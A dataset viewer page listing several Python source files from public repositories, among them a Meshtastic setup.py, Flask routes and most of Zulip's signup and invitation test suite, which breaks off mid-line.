PatrickHaller/the-stack-python-1M · Datasets at Hugging Face

03363eef7025fa99b4d3764cff3b4ec766405a19

1,429

py

Python

setup.py

crossan007/Meshtastic-python

27c827cf3d42aec9834600b1b61a1681b0c714a9

[ "Apache-2.0" ]

null

setup.py

crossan007/Meshtastic-python

27c827cf3d42aec9834600b1b61a1681b0c714a9

[ "Apache-2.0" ]

null

setup.py

crossan007/Meshtastic-python

27c827cf3d42aec9834600b1b61a1681b0c714a9

[ "Apache-2.0" ]

null

# Note: you shouldn't need to run this script manually. It is run implicitly by the pip3 install command. import pathlib from setuptools import setup # The directory containing this file HERE = pathlib.Path(__file__).parent with open("README.md", "r") as fh: long_description = fh.read() # This call to setup() does all the work setup( name="meshtastic", version="1.2.6", description="Python API & client shell for talking to Meshtastic devices", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/meshtastic/Meshtastic-python", author="Kevin Hester", author_email="kevinh@geeksville.com", license="MIT", classifiers=[ "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.7", ], packages=["meshtastic"], include_package_data=True, install_requires=["pyserial>=3.4", "protobuf>=3.13.0", "pypubsub>=4.0.3", "dotmap>=1.3.14", "pexpect>=4.6.0", "pyqrcode>=1.2.1", "pygatt>=4.0.5", "easy-table==0.0.4"], extras_require={ 'tunnel': ["pytap2>=2.0.0"] }, python_requires='>=3.6', entry_points={ "console_scripts": [ "meshtastic=meshtastic.__main__:main", "mesh-tunnel=meshtastic.__main__:tunnelMain [tunnel]" ] }, )

32.477273

106

0.628411

9caf9f0fa2308af1bd3ec8fa4ade1378d9f156e8

213

py

Python

fintoc/managers/invoices_manager.py

KnowYourselves/fintoc-python

7b61850db6bb029aafd6fbf8e37b46e1188474a9

[ "BSD-3-Clause" ]

80

2020-05-10T13:41:26.000Z

2022-01-14T14:20:40.000Z

fintoc/managers/invoices_manager.py

nmassardot/fintoc-python

5560e1f06ede0ff155d4274d3d8cf91e40e53710

[ "BSD-3-Clause" ]

23

2020-05-27T22:48:06.000Z

2022-01-04T13:40:09.000Z

fintoc/managers/invoices_manager.py

nmassardot/fintoc-python

5560e1f06ede0ff155d4274d3d8cf91e40e53710

[ "BSD-3-Clause" ]

8

2020-09-22T16:13:32.000Z

2021-12-11T19:58:58.000Z

"""Module to hold the invoices manager.""" from fintoc.mixins import ManagerMixin class InvoicesManager(ManagerMixin): """Represents an invoices manager.""" resource = "invoice" methods = ["all"]

17.75

42

0.694836

35d2c9440aa28f81257dfb943be20e3163edfd05

1,072

py

Python

routes/index.py

MatanelAbayof/Wikishield

9cc34e413eb8fd0246555e8df93fe774a4531955

[ "Apache-2.0" ]

1

2020-08-19T10:19:22.000Z

routes/index.py

MatanelAbayof/Wikishield

9cc34e413eb8fd0246555e8df93fe774a4531955

[ "Apache-2.0" ]

null

routes/index.py

MatanelAbayof/Wikishield

9cc34e413eb8fd0246555e8df93fe774a4531955

[ "Apache-2.0" ]

null

from flask import Blueprint, redirect, render_template index = Blueprint('index', __name__) # ---------------------------------------------------------------------------------------------------- @index.route('/') def homepage(): """ homepage route """ return render_template("homepage.html") # ---------------------------------------------------------------------------------------------------- @index.route('/score_rev') def score_rev(): """ score revision route """ return render_template("score_rev.html") # ---------------------------------------------------------------------------------------------------- @index.route('/verify_revs') def verify_revs(): """ verify revisions route """ return render_template("verify_revs.html") # ---------------------------------------------------------------------------------------------------- @index.route('/favicon.ico') def favicon(): """ route of favorite icon the browser request this URL automatically """ return redirect("images/logo.ico")

23.304348

102

0.399254

2dc8c61e3884b41f3677b78b73b90cc2ee5c0ac0

100,699

py

Python

zerver/tests/test_signup.py

rtzll/zulip

b831df8f7fc2f5b89ec998266901ac491d52a7fc

[ "Apache-2.0" ]

null

zerver/tests/test_signup.py

rtzll/zulip

b831df8f7fc2f5b89ec998266901ac491d52a7fc

[ "Apache-2.0" ]

null

zerver/tests/test_signup.py

rtzll/zulip

b831df8f7fc2f5b89ec998266901ac491d52a7fc

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- import datetime from django.conf import settings from django.contrib.contenttypes.models import ContentType from django.contrib.sites.models import Site from django.http import HttpResponse from django.test import TestCase, override_settings from django.utils.timezone import now as timezone_now from mock import patch, MagicMock from zerver.lib.test_helpers import MockLDAP from confirmation.models import Confirmation, create_confirmation_link, MultiuseInvite, \ generate_key, confirmation_url from zerver.forms import HomepageForm, WRONG_SUBDOMAIN_ERROR from zerver.lib.actions import do_change_password, gather_subscriptions from zerver.views.auth import login_or_register_remote_user from zerver.views.invite import get_invitee_emails_set from zerver.views.registration import confirmation_key, \ redirect_and_log_into_subdomain, send_registration_completion_email from zerver.models import ( get_realm, get_prereg_user_by_email, get_user, get_recipient, PreregistrationUser, Realm, RealmDomain, Recipient, Message, ScheduledEmail, UserProfile, UserMessage, Stream, Subscription, flush_per_request_caches ) from zerver.lib.actions import ( set_default_streams, do_change_is_admin, get_stream, do_create_realm, ) from zerver.lib.send_email import send_email, send_future_email, FromAddress from zerver.lib.initial_password import initial_password from zerver.lib.actions import ( do_deactivate_realm, do_deactivate_user, do_set_realm_property, add_new_user_history, ) from zerver.lib.mobile_auth_otp import xor_hex_strings, ascii_to_hex, \ otp_encrypt_api_key, is_valid_otp, hex_to_ascii, otp_decrypt_api_key from zerver.lib.notifications import enqueue_welcome_emails, \ one_click_unsubscribe_link from zerver.lib.subdomains import is_root_domain_available from zerver.lib.test_helpers import find_pattern_in_email, find_key_by_email, queries_captured, \ HostRequestMock, unsign_subdomain_cookie from zerver.lib.test_classes import ( ZulipTestCase, ) from zerver.lib.test_runner import slow from zerver.lib.sessions import get_session_dict_user from zerver.context_processors import common_context from collections import defaultdict import re import smtplib import ujson from typing import Any, Dict, List, Optional, Set, Text from six.moves import urllib, range, zip import os class RedirectAndLogIntoSubdomainTestCase(ZulipTestCase): def test_cookie_data(self): # type: () -> None realm = Realm.objects.all().first() name = 'Hamlet' email = self.example_email("hamlet") response = redirect_and_log_into_subdomain(realm, name, email) data = unsign_subdomain_cookie(response) self.assertDictEqual(data, {'name': name, 'email': email, 'subdomain': realm.subdomain, 'is_signup': False}) response = redirect_and_log_into_subdomain(realm, name, email, is_signup=True) data = unsign_subdomain_cookie(response) self.assertDictEqual(data, {'name': name, 'email': email, 'subdomain': realm.subdomain, 'is_signup': True}) class DeactivationNoticeTestCase(ZulipTestCase): def test_redirection_for_deactivated_realm(self): # type: () -> None realm = get_realm("zulip") realm.deactivated = True realm.save(update_fields=["deactivated"]) for url in ('/register/', '/login/'): result = self.client_get(url) self.assertEqual(result.status_code, 302) self.assertIn('deactivated', result.url) def test_redirection_for_active_realm(self): # type: () -> None for url in ('/register/', '/login/'): result = self.client_get(url) self.assertEqual(result.status_code, 200) def test_deactivation_notice_when_realm_is_active(self): # type: () -> None result = self.client_get('/accounts/deactivated/') self.assertEqual(result.status_code, 302) self.assertIn('login', result.url) def test_deactivation_notice_when_deactivated(self): # type: () -> None realm = get_realm("zulip") realm.deactivated = True realm.save(update_fields=["deactivated"]) result = self.client_get('/accounts/deactivated/') self.assertIn("Zulip Dev, has been deactivated.", result.content.decode()) class AddNewUserHistoryTest(ZulipTestCase): def test_add_new_user_history_race(self): # type: () -> None """Sends a message during user creation""" # Create a user who hasn't had historical messages added stream_dict = { "Denmark": {"description": "A Scandinavian country", "invite_only": False}, "Verona": {"description": "A city in Italy", "invite_only": False} } # type: Dict[Text, Dict[Text, Any]] realm = get_realm('zulip') set_default_streams(realm, stream_dict) with patch("zerver.lib.actions.add_new_user_history"): self.register(self.nonreg_email('test'), "test") user_profile = self.nonreg_user('test') subs = Subscription.objects.select_related("recipient").filter( user_profile=user_profile, recipient__type=Recipient.STREAM) streams = Stream.objects.filter(id__in=[sub.recipient.type_id for sub in subs]) self.send_message(self.example_email('hamlet'), streams[0].name, Recipient.STREAM, "test") add_new_user_history(user_profile, streams) class PasswordResetTest(ZulipTestCase): """ Log in, reset password, log out, log in with new password. """ def test_password_reset(self): # type: () -> None email = self.example_email("hamlet") old_password = initial_password(email) self.login(email) # test password reset template result = self.client_get('/accounts/password/reset/') self.assert_in_response('Reset your password', result) # start the password reset process by supplying an email address result = self.client_post('/accounts/password/reset/', {'email': email}) # check the redirect link telling you to check mail for password reset link self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/password/reset/done/")) result = self.client_get(result["Location"]) self.assert_in_response("Check your email to finish the process.", result) # Check that the password reset email is from a noreply address. from django.core.mail import outbox from_email = outbox[0].from_email self.assertIn("Zulip Account Security", from_email) self.assertIn(FromAddress.NOREPLY, from_email) # Visit the password reset link. password_reset_url = self.get_confirmation_url_from_outbox(email, "(\S+)") result = self.client_get(password_reset_url) self.assertEqual(result.status_code, 200) # Reset your password result = self.client_post(password_reset_url, {'new_password1': 'new_password', 'new_password2': 'new_password'}) # password reset succeeded self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith("/password/done/")) # log back in with new password self.login(email, password='new_password') user_profile = self.example_user('hamlet') self.assertEqual(get_session_dict_user(self.client.session), user_profile.id) # make sure old password no longer works self.login(email, password=old_password, fails=True) def test_invalid_subdomain(self): # type: () -> None email = self.example_email("hamlet") string_id = 'hamlet' name = 'Hamlet' do_create_realm( string_id, name, restricted_to_domain=False, invite_required=False ) with patch('zerver.forms.get_subdomain', return_value=string_id): # start the password reset process by supplying an email address result = self.client_post( '/accounts/password/reset/', {'email': email}) # check the redirect link telling you to check mail for password reset link self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/password/reset/done/")) result = self.client_get(result["Location"]) self.assert_in_response("Check your email to finish the process.", result) from django.core.mail import outbox self.assertEqual(len(outbox), 1) message = outbox.pop() self.assertIn(FromAddress.NOREPLY, message.from_email) self.assertIn("hamlet@zulip.com does not\nhave an active account in http://", message.body) def test_correct_subdomain(self): # type: () -> None email = self.example_email("hamlet") string_id = 'zulip' with patch('zerver.forms.get_subdomain', return_value=string_id): # start the password reset process by supplying an email address result = self.client_post( '/accounts/password/reset/', {'email': email}) # check the redirect link telling you to check mail for password reset link self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/password/reset/done/")) result = self.client_get(result["Location"]) self.assert_in_response("Check your email to finish the process.", result) from django.core.mail import outbox self.assertEqual(len(outbox), 1) message = outbox.pop() self.assertIn("Zulip Account Security", message.from_email) self.assertIn(FromAddress.NOREPLY, message.from_email) self.assertIn("Psst. Word on the street is that you", message.body) @override_settings(AUTHENTICATION_BACKENDS=('zproject.backends.ZulipLDAPAuthBackend', 'zproject.backends.ZulipDummyBackend')) def test_ldap_auth_only(self): # type: () -> None """If the email auth backend is not enabled, password reset should do nothing""" email = self.example_email("hamlet") result = self.client_post('/accounts/password/reset/', {'email': email}) # check the redirect link telling you to check mail for password reset link self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/password/reset/done/")) result = self.client_get(result["Location"]) self.assert_in_response("Check your email to finish the process.", result) from django.core.mail import outbox self.assertEqual(len(outbox), 0) def test_redirect_endpoints(self): # type: () -> None ''' These tests are mostly designed to give us 100% URL coverage in our URL coverage reports. Our mechanism for finding URL coverage doesn't handle redirects, so we just have a few quick tests here. ''' result = self.client_get('/accounts/password/reset/done/') self.assert_in_success_response(["Check your email"], result) result = self.client_get('/accounts/password/done/') self.assert_in_success_response(["We've reset your password!"], result) result = self.client_get('/accounts/send_confirm/alice@example.com') self.assert_in_success_response(["Still no email?"], result) class LoginTest(ZulipTestCase): """ Logging in, registration, and logging out. """ def test_login(self): # type: () -> None self.login(self.example_email("hamlet")) user_profile = self.example_user('hamlet') self.assertEqual(get_session_dict_user(self.client.session), user_profile.id) def test_login_bad_password(self): # type: () -> None self.login(self.example_email("hamlet"), password="wrongpassword", fails=True) self.assertIsNone(get_session_dict_user(self.client.session)) def test_login_nonexist_user(self): # type: () -> None result = self.login_with_return("xxx@zulip.com", "xxx") self.assert_in_response("Please enter a correct email and password", result) def test_register(self): # type: () -> None realm = get_realm("zulip") stream_dict = {"stream_"+str(i): {"description": "stream_%s_description" % i, "invite_only": False} for i in range(40)} # type: Dict[Text, Dict[Text, Any]] for stream_name in stream_dict.keys(): self.make_stream(stream_name, realm=realm) set_default_streams(realm, stream_dict) # Clear all the caches. flush_per_request_caches() ContentType.objects.clear_cache() Site.objects.clear_cache() with queries_captured() as queries: self.register(self.nonreg_email('test'), "test") # Ensure the number of queries we make is not O(streams) self.assert_length(queries, 65) user_profile = self.nonreg_user('test') self.assertEqual(get_session_dict_user(self.client.session), user_profile.id) self.assertFalse(user_profile.enable_stream_desktop_notifications) def test_register_deactivated(self): # type: () -> None """ If you try to register for a deactivated realm, you get a clear error page. """ realm = get_realm("zulip") realm.deactivated = True realm.save(update_fields=["deactivated"]) result = self.client_post('/accounts/home/', {'email': self.nonreg_email('test')}, subdomain="zulip") self.assertEqual(result.status_code, 302) self.assertEqual('/accounts/deactivated/', result.url) with self.assertRaises(UserProfile.DoesNotExist): self.nonreg_user('test') def test_register_deactivated_partway_through(self): # type: () -> None """ If you try to register for a deactivated realm, you get a clear error page. """ email = self.nonreg_email('test') result = self.client_post('/accounts/home/', {'email': email}, subdomain="zulip") self.assertEqual(result.status_code, 302) print(result.url) self.assertNotIn('deactivated', result.url) realm = get_realm("zulip") realm.deactivated = True realm.save(update_fields=["deactivated"]) result = self.submit_reg_form_for_user(email, "abcd1234", subdomain="zulip") self.assertEqual(result.status_code, 302) self.assertEqual('/accounts/deactivated/', result.url) with self.assertRaises(UserProfile.DoesNotExist): self.nonreg_user('test') def test_login_deactivated(self): # type: () -> None """ If you try to log in to a deactivated realm, you get a clear error page. """ realm = get_realm("zulip") realm.deactivated = True realm.save(update_fields=["deactivated"]) result = self.login_with_return(self.example_email("hamlet"), subdomain="zulip") self.assertEqual(result.status_code, 302) self.assertEqual('/accounts/deactivated/', result.url) def test_logout(self): # type: () -> None self.login(self.example_email("hamlet")) # We use the logout API, not self.logout, to make sure we test # the actual logout code path. self.client_post('/accounts/logout/') self.assertIsNone(get_session_dict_user(self.client.session)) def test_non_ascii_login(self): # type: () -> None """ You can log in even if your password contain non-ASCII characters. """ email = self.nonreg_email('test') password = u"hÃ¼mbÃ¼Çµ" # Registering succeeds. self.register(email, password) user_profile = self.nonreg_user('test') self.assertEqual(get_session_dict_user(self.client.session), user_profile.id) self.logout() self.assertIsNone(get_session_dict_user(self.client.session)) # Logging in succeeds. self.logout() self.login(email, password) self.assertEqual(get_session_dict_user(self.client.session), user_profile.id) def test_login_page_redirects_logged_in_user(self): # type: () -> None """You will be redirected to the app's main page if you land on the login page when already logged in. """ self.login(self.example_email("cordelia")) response = self.client_get("/login/") self.assertEqual(response["Location"], "http://zulip.testserver") class InviteUserBase(ZulipTestCase): def check_sent_emails(self, correct_recipients, custom_body=None, custom_from_name=None): # type: (List[Text], Optional[str], Optional[str]) -> None from django.core.mail import outbox self.assertEqual(len(outbox), len(correct_recipients)) email_recipients = [email.recipients()[0] for email in outbox] self.assertEqual(sorted(email_recipients), sorted(correct_recipients)) if len(outbox) == 0: return if custom_body is None: self.assertNotIn("Message from", outbox[0].body) else: self.assertIn("Message from ", outbox[0].body) self.assertIn(custom_body, outbox[0].body) if custom_from_name is not None: self.assertIn(custom_from_name, outbox[0].from_email) self.assertIn(FromAddress.NOREPLY, outbox[0].from_email) class InviteUserTest(InviteUserBase): def invite(self, users, streams, body='', invite_as_admin="false"): # type: (Text, List[Text], str, str) -> HttpResponse """ Invites the specified users to Zulip with the specified streams. users should be a string containing the users to invite, comma or newline separated. streams should be a list of strings. """ return self.client_post("/json/invites", {"invitee_emails": users, "stream": streams, "invite_as_admin": invite_as_admin, "custom_body": body}) def test_successful_invite_user(self): # type: () -> None """ A call to /json/invites with valid parameters causes an invitation email to be sent. """ self.login(self.example_email("hamlet")) invitee = "alice-test@zulip.com" self.assert_json_success(self.invite(invitee, ["Denmark"])) self.assertTrue(find_key_by_email(invitee)) self.check_sent_emails([invitee], custom_from_name="Hamlet") def test_successful_invite_user_as_admin_from_admin_account(self): # type: () -> None """ Test that a new user invited to a stream receives some initial history but only from public streams. """ self.login(self.example_email('iago')) invitee = self.nonreg_email('alice') self.assert_json_success(self.invite(invitee, ["Denmark"], invite_as_admin="true")) self.assertTrue(find_key_by_email(invitee)) self.submit_reg_form_for_user(invitee, "password") invitee_profile = self.nonreg_user('alice') self.assertTrue(invitee_profile.is_realm_admin) def test_invite_user_as_admin_from_normal_account(self): # type: () -> None """ Test that a new user invited to a stream receives some initial history but only from public streams. """ self.login(self.example_email('hamlet')) invitee = self.nonreg_email('alice') response = self.invite(invitee, ["Denmark"], invite_as_admin="true") self.assert_json_error(response, "Must be a realm administrator") def test_successful_invite_user_with_custom_body(self): # type: () -> None """ A call to /json/invites with valid parameters causes an invitation email to be sent. """ self.login(self.example_email("hamlet")) invitee = "alice-test@zulip.com" body = "Custom Text." self.assert_json_success(self.invite(invitee, ["Denmark"], body)) self.assertTrue(find_pattern_in_email(invitee, body)) self.check_sent_emails([invitee], custom_body=body, custom_from_name="Hamlet") def test_successful_invite_user_with_name(self): # type: () -> None """ A call to /json/invites with valid parameters causes an invitation email to be sent. """ self.login(self.example_email("hamlet")) email = "alice-test@zulip.com" invitee = "Alice Test <{}>".format(email) self.assert_json_success(self.invite(invitee, ["Denmark"])) self.assertTrue(find_key_by_email(email)) self.check_sent_emails([email], custom_from_name="Hamlet") def test_successful_invite_user_with_name_and_normal_one(self): # type: () -> None """ A call to /json/invites with valid parameters causes an invitation email to be sent. """ self.login(self.example_email("hamlet")) email = "alice-test@zulip.com" email2 = "bob-test@zulip.com" invitee = "Alice Test <{}>, {}".format(email, email2) self.assert_json_success(self.invite(invitee, ["Denmark"])) self.assertTrue(find_key_by_email(email)) self.assertTrue(find_key_by_email(email2)) self.check_sent_emails([email, email2], custom_from_name="Hamlet") def test_require_realm_admin(self): # type: () -> None """ The invite_by_admins_only realm setting works properly. """ realm = get_realm('zulip') realm.invite_by_admins_only = True realm.save() self.login("hamlet@zulip.com") email = "alice-test@zulip.com" email2 = "bob-test@zulip.com" invitee = "Alice Test <{}>, {}".format(email, email2) self.assert_json_error(self.invite(invitee, ["Denmark"]), "Must be a realm administrator") # Now verify an administrator can do it self.login("iago@zulip.com") self.assert_json_success(self.invite(invitee, ["Denmark"])) self.assertTrue(find_key_by_email(email)) self.assertTrue(find_key_by_email(email2)) self.check_sent_emails([email, email2]) def test_successful_invite_user_with_notifications_stream(self): # type: () -> None """ A call to /json/invites with valid parameters unconditionally subscribes the invitee to the notifications stream if it exists and is public. """ realm = get_realm('zulip') notifications_stream = get_stream('Verona', realm) realm.notifications_stream_id = notifications_stream.id realm.save() self.login(self.example_email("hamlet")) invitee = 'alice-test@zulip.com' self.assert_json_success(self.invite(invitee, ['Denmark'])) self.assertTrue(find_key_by_email(invitee)) self.check_sent_emails([invitee]) prereg_user = get_prereg_user_by_email(invitee) stream_ids = [stream.id for stream in prereg_user.streams.all()] self.assertTrue(notifications_stream.id in stream_ids) def test_invite_user_signup_initial_history(self): # type: () -> None """ Test that a new user invited to a stream receives some initial history but only from public streams. """ self.login(self.example_email('hamlet')) user_profile = self.example_user('hamlet') private_stream_name = "Secret" self.make_stream(private_stream_name, invite_only=True) self.subscribe(user_profile, private_stream_name) public_msg_id = self.send_message(self.example_email("hamlet"), "Denmark", Recipient.STREAM, "Public topic", "Public message") secret_msg_id = self.send_message(self.example_email("hamlet"), private_stream_name, Recipient.STREAM, "Secret topic", "Secret message") invitee = self.nonreg_email('alice') self.assert_json_success(self.invite(invitee, [private_stream_name, "Denmark"])) self.assertTrue(find_key_by_email(invitee)) self.submit_reg_form_for_user(invitee, "password") invitee_profile = self.nonreg_user('alice') invitee_msg_ids = [um.message_id for um in UserMessage.objects.filter(user_profile=invitee_profile)] self.assertTrue(public_msg_id in invitee_msg_ids) self.assertFalse(secret_msg_id in invitee_msg_ids) self.assertFalse(invitee_profile.is_realm_admin) # Test that exactly 2 new Zulip messages were sent, both notifications. last_3_messages = list(reversed(list(Message.objects.all().order_by("-id")[0:3]))) first_msg = last_3_messages[0] self.assertEqual(first_msg.id, secret_msg_id) # The first, from notification-bot to the user who invited the new user. second_msg = last_3_messages[1] self.assertEqual(second_msg.sender.email, "notification-bot@zulip.com") self.assertTrue(second_msg.content.startswith("alice_zulip.com <`alice@zulip.com`> accepted your")) # The second, from welcome-bot to the user who was invited. third_msg = last_3_messages[2] self.assertEqual(third_msg.sender.email, "welcome-bot@zulip.com") self.assertTrue(third_msg.content.startswith("Hello, and welcome to Zulip!")) def test_multi_user_invite(self): # type: () -> None """ Invites multiple users with a variety of delimiters. """ self.login(self.example_email("hamlet")) # Intentionally use a weird string. self.assert_json_success(self.invite( """bob-test@zulip.com, carol-test@zulip.com, dave-test@zulip.com earl-test@zulip.com""", ["Denmark"])) for user in ("bob", "carol", "dave", "earl"): self.assertTrue(find_key_by_email("%s-test@zulip.com" % (user,))) self.check_sent_emails(["bob-test@zulip.com", "carol-test@zulip.com", "dave-test@zulip.com", "earl-test@zulip.com"]) def test_missing_or_invalid_params(self): # type: () -> None """ Tests inviting with various missing or invalid parameters. """ self.login(self.example_email("hamlet")) self.assert_json_error( self.client_post("/json/invites", {"invitee_emails": "foo@zulip.com", "custom_body": ''}), "You must specify at least one stream for invitees to join.") for address in ("noatsign.com", "outsideyourdomain@example.net"): self.assert_json_error( self.invite(address, ["Denmark"]), "Some emails did not validate, so we didn't send any invitations.") self.check_sent_emails([]) self.assert_json_error( self.invite("", ["Denmark"]), "You must specify at least one email address.") self.check_sent_emails([]) def test_invalid_stream(self): # type: () -> None """ Tests inviting to a non-existent stream. """ self.login(self.example_email("hamlet")) self.assert_json_error(self.invite("iago-test@zulip.com", ["NotARealStream"]), "Stream does not exist: NotARealStream. No invites were sent.") self.check_sent_emails([]) def test_invite_existing_user(self): # type: () -> None """ If you invite an address already using Zulip, no invitation is sent. """ self.login(self.example_email("hamlet")) self.assert_json_error( self.client_post("/json/invites", {"invitee_emails": self.example_email("hamlet"), "stream": ["Denmark"], "custom_body": ''}), "We weren't able to invite anyone.") self.assertRaises(PreregistrationUser.DoesNotExist, lambda: PreregistrationUser.objects.get( email=self.example_email("hamlet"))) self.check_sent_emails([]) def test_invite_some_existing_some_new(self): # type: () -> None """ If you invite a mix of already existing and new users, invitations are only sent to the new users. """ self.login(self.example_email("hamlet")) existing = [self.example_email("hamlet"), u"othello@zulip.com"] new = [u"foo-test@zulip.com", u"bar-test@zulip.com"] result = self.client_post("/json/invites", {"invitee_emails": "\n".join(existing + new), "stream": ["Denmark"], "custom_body": ''}) self.assert_json_error(result, "Some of those addresses are already using Zulip, \ so we didn't send them an invitation. We did send invitations to everyone else!") # We only created accounts for the new users. for email in existing: self.assertRaises(PreregistrationUser.DoesNotExist, lambda: PreregistrationUser.objects.get( email=email)) for email in new: self.assertTrue(PreregistrationUser.objects.get(email=email)) # We only sent emails to the new users. self.check_sent_emails(new) prereg_user = get_prereg_user_by_email('foo-test@zulip.com') self.assertEqual(prereg_user.email, 'foo-test@zulip.com') def test_invite_outside_domain_in_closed_realm(self): # type: () -> None """ In a realm with `restricted_to_domain = True`, you can't invite people with a different domain from that of the realm or your e-mail address. """ zulip_realm = get_realm("zulip") zulip_realm.restricted_to_domain = True zulip_realm.save() self.login(self.example_email("hamlet")) external_address = "foo@example.com" self.assert_json_error( self.invite(external_address, ["Denmark"]), "Some emails did not validate, so we didn't send any invitations.") def test_invite_outside_domain_in_open_realm(self): # type: () -> None """ In a realm with `restricted_to_domain = False`, you can invite people with a different domain from that of the realm or your e-mail address. """ zulip_realm = get_realm("zulip") zulip_realm.restricted_to_domain = False zulip_realm.save() self.login(self.example_email("hamlet")) external_address = "foo@example.com" self.assert_json_success(self.invite(external_address, ["Denmark"])) self.check_sent_emails([external_address]) def test_invite_outside_domain_before_closing(self): # type: () -> None """ If you invite someone with a different domain from that of the realm when `restricted_to_domain = False`, but `restricted_to_domain` later changes to true, the invitation should succeed but the invitee's signup attempt should fail. """ zulip_realm = get_realm("zulip") zulip_realm.restricted_to_domain = False zulip_realm.save() self.login(self.example_email("hamlet")) external_address = "foo@example.com" self.assert_json_success(self.invite(external_address, ["Denmark"])) self.check_sent_emails([external_address]) zulip_realm.restricted_to_domain = True zulip_realm.save() result = self.submit_reg_form_for_user("foo@example.com", "password") self.assertEqual(result.status_code, 200) self.assert_in_response("only allows users with e-mail", result) def test_invite_with_non_ascii_streams(self): # type: () -> None """ Inviting someone to streams with non-ASCII characters succeeds. """ self.login(self.example_email("hamlet")) invitee = "alice-test@zulip.com" stream_name = u"hÃ¼mbÃ¼Çµ" # Make sure we're subscribed before inviting someone. self.subscribe(self.example_user("hamlet"), stream_name) self.assert_json_success(self.invite(invitee, [stream_name])) def test_invitation_reminder_email(self): # type: () -> None from django.core.mail import outbox # All users belong to zulip realm referrer_user = 'hamlet' current_user_email = self.example_email(referrer_user) self.login(current_user_email) invitee_email = self.nonreg_email('alice') self.assert_json_success(self.invite(invitee_email, ["Denmark"])) self.assertTrue(find_key_by_email(invitee_email)) self.check_sent_emails([invitee_email]) data = {"email": invitee_email, "referrer_email": current_user_email} invitee = get_prereg_user_by_email(data["email"]) referrer = self.example_user(referrer_user) link = create_confirmation_link(invitee, referrer.realm.host, Confirmation.INVITATION) context = common_context(referrer) context.update({ 'activate_url': link, 'referrer_name': referrer.full_name, 'referrer_email': referrer.email, 'referrer_realm_name': referrer.realm.name, }) with self.settings(EMAIL_BACKEND='django.core.mail.backends.console.EmailBackend'): send_future_email( "zerver/emails/invitation_reminder", to_email=data["email"], from_address=FromAddress.NOREPLY, context=context) email_jobs_to_deliver = ScheduledEmail.objects.filter( scheduled_timestamp__lte=timezone_now()) self.assertEqual(len(email_jobs_to_deliver), 1) email_count = len(outbox) for job in email_jobs_to_deliver: send_email(**ujson.loads(job.data)) self.assertEqual(len(outbox), email_count + 1) self.assertIn(FromAddress.NOREPLY, outbox[-1].from_email) # Now verify that signing up clears invite_reminder emails email_jobs_to_deliver = ScheduledEmail.objects.filter( scheduled_timestamp__lte=timezone_now(), type=ScheduledEmail.INVITATION_REMINDER) self.assertEqual(len(email_jobs_to_deliver), 1) self.register(invitee_email, "test") email_jobs_to_deliver = ScheduledEmail.objects.filter( scheduled_timestamp__lte=timezone_now(), type=ScheduledEmail.INVITATION_REMINDER) self.assertEqual(len(email_jobs_to_deliver), 0) class InviteeEmailsParserTests(TestCase): def setUp(self): # type: () -> None self.email1 = "email1@zulip.com" self.email2 = "email2@zulip.com" self.email3 = "email3@zulip.com" def test_if_emails_separated_by_commas_are_parsed_and_striped_correctly(self): # type: () -> None emails_raw = "{} ,{}, {}".format(self.email1, self.email2, self.email3) expected_set = {self.email1, self.email2, self.email3} self.assertEqual(get_invitee_emails_set(emails_raw), expected_set) def test_if_emails_separated_by_newlines_are_parsed_and_striped_correctly(self): # type: () -> None emails_raw = "{}\n {}\n {} ".format(self.email1, self.email2, self.email3) expected_set = {self.email1, self.email2, self.email3} self.assertEqual(get_invitee_emails_set(emails_raw), expected_set) def test_if_emails_from_email_client_separated_by_newlines_are_parsed_correctly(self): # type: () -> None emails_raw = "Email One <{}>\nEmailTwo<{}>\nEmail Three<{}>".format(self.email1, self.email2, self.email3) expected_set = {self.email1, self.email2, self.email3} self.assertEqual(get_invitee_emails_set(emails_raw), expected_set) def test_if_emails_in_mixed_style_are_parsed_correctly(self): # type: () -> None emails_raw = "Email One <{}>,EmailTwo<{}>\n{}".format(self.email1, self.email2, self.email3) expected_set = {self.email1, self.email2, self.email3} self.assertEqual(get_invitee_emails_set(emails_raw), expected_set) class MultiuseInviteTest(ZulipTestCase): def setUp(self): # type: () -> None self.realm = get_realm('zulip') self.realm.invite_required = True self.realm.save() def generate_multiuse_invite_link(self, streams=None, date_sent=None): # type: (List[Stream], Optional[datetime.datetime]) -> Text invite = MultiuseInvite(realm=self.realm, referred_by=self.example_user("iago")) invite.save() if streams is not None: invite.streams = streams invite.save() if date_sent is None: date_sent = timezone_now() key = generate_key() Confirmation.objects.create(content_object=invite, date_sent=date_sent, confirmation_key=key, type=Confirmation.MULTIUSE_INVITE) return confirmation_url(key, self.realm.host, Confirmation.MULTIUSE_INVITE) def check_user_able_to_register(self, email, invite_link): # type: (Text, Text) -> None password = "password" result = self.client_post(invite_link, {'email': email}) self.assertEqual(result.status_code, 302) self.assertTrue(result["Location"].endswith( "/accounts/send_confirm/%s" % (email,))) result = self.client_get(result["Location"]) self.assert_in_response("Check your email so we can get started.", result) confirmation_url = self.get_confirmation_url_from_outbox(email) result = self.client_get(confirmation_url) self.assertEqual(result.status_code, 200) result = self.submit_reg_form_for_user(email, password) self.assertEqual(result.status_code, 302) from django.core.mail import outbox outbox.pop() def check_user_subscribed_only_to_streams(self, user_name, streams): # type: (str, List[Stream]) -> None sorted(streams, key=lambda x: x.name) subscribed_streams = gather_subscriptions(self.nonreg_user(user_name))[0] self.assertEqual(len(subscribed_streams), len(streams)) for x, y in zip(subscribed_streams, streams): self.assertEqual(x["name"], y.name) def test_valid_multiuse_link(self): # type: () -> None email1 = self.nonreg_email("test") email2 = self.nonreg_email("test1") email3 = self.nonreg_email("alice") date_sent = timezone_now() - datetime.timedelta(days=settings.INVITATION_LINK_VALIDITY_DAYS - 1) invite_link = self.generate_multiuse_invite_link(date_sent=date_sent) self.check_user_able_to_register(email1, invite_link) self.check_user_able_to_register(email2, invite_link) self.check_user_able_to_register(email3, invite_link) def test_expired_multiuse_link(self): # type: () -> None email = self.nonreg_email('newuser') date_sent = timezone_now() - datetime.timedelta(days=settings.INVITATION_LINK_VALIDITY_DAYS) invite_link = 